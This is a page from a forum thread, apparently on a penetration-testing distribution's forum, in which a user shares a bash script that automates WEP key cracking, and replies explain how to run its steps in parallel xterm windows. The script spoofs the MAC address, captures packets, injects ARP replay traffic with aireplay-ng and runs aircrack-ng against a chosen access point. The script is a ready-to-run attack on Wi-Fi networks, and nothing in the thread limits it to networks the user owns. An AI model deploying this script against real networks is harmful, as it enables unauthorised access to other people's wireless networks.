Page 1 of 2 12 LastLast
Results 1 to 10 of 11

Thread: Help with auto-crack bash script

  1. #1
    Junior Member
    Join Date
    Jun 2008
    Posts
    33

    Default Help with auto-crack bash script

    I wanted to make a bash script that would just basically run all of the wep cracking commands for me. The problem I'm having is that whenever I open a new konsole, the current one waits until that one closes, how to I avoid that?

    This is what I have so far:

    Code:
    #!/bin/bash
    
    clear
    
    echo Enter the interface:
    read INTERFACE
    
    echo Enter the essid:
    read ESSID
    
    echo Enter the bssid:
    read BSSID
    
    echo Enter the channel:
    read CH
    
    echo Enter a file:
    read FILE
    
    echo Enter the mac:
    read MAC
    
    clear
    
    airmon-ng stop $INTERFACE
    ifconfig $INTERFACE down
    macchanger --mac $MAC $INTERFACE
    airmon-ng start $INTERFACE
    
    konsole -e airodump-ng -c $CH -w $FILE --bssid $BSSID $INTERFACE
    
    konsole --noclose -e aircrack-ng -b $BSSID $FILE+*.cap
    
    aireplay-ng -1 0 -a $BSSID -h $MAC -e $ESSID $INTERFACE
    aireplay-ng -3 -a $BSSID -h $MAC $INTERFACE

  2. #2
    Jenkem Addict imported_wyze's Avatar
    Join Date
    Jul 2007
    Posts
    1,543

    Default

    Use 'xterm -e <command>'

    Reading a file is possible too, using `cat file`

    Also this thread should be in "Programming"
    dd if=/dev/swc666 of=/dev/wyze

  3. #3
    Junior Member
    Join Date
    Jun 2008
    Posts
    33

    Default

    That's better, thanks!

    Edit:

    It's still waiting for xterm to close before continuing.

  4. #4
    Jenkem Addict imported_wyze's Avatar
    Join Date
    Jul 2007
    Posts
    1,543

    Default

    Quote Originally Posted by devilsson2010 View Post
    That's better, thanks!

    Edit:

    It's still waiting for xterm to close before continuing.
    so run (xterm -e command) & (xterm -e command)
    dd if=/dev/swc666 of=/dev/wyze

  5. #5
    Good friend of the forums
    Join Date
    Feb 2010
    Posts
    328

  6. #6
    Just burned his ISO
    Join Date
    Jun 2008
    Posts
    3

    Default

    i like mine lol
    only works with madwifi

    code.google.com/p/autowep/

  7. #7
    Junior Member
    Join Date
    Jun 2008
    Posts
    25

    Default hi

    how do i make it login automattically ? into bt3 i have it installed on my hdd

  8. #8
    Junior Member
    Join Date
    Jun 2008
    Posts
    25

    Default

    does this code.google.com/p/autowep/
    work for my intel pro 100 wirless ? and using bt3 ?

  9. #9
    Senior Member
    Join Date
    Apr 2008
    Posts
    2,008

    Default

    Quote Originally Posted by jamied_uk View Post
    does this code.google.com/p/autowep/
    work for my intel pro 100 wirless ? and using bt3 ?
    As stated two posts above yours, no it does not.
    -Monkeys are like nature's humans.

  10. #10
    Just burned his ISO
    Join Date
    Dec 2007
    Posts
    12

    Default And airoscript?

    Why don't you guys use the airoscript.sh (see locate airoscript.sh)?

    Joop.

Page 1 of 2 12 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •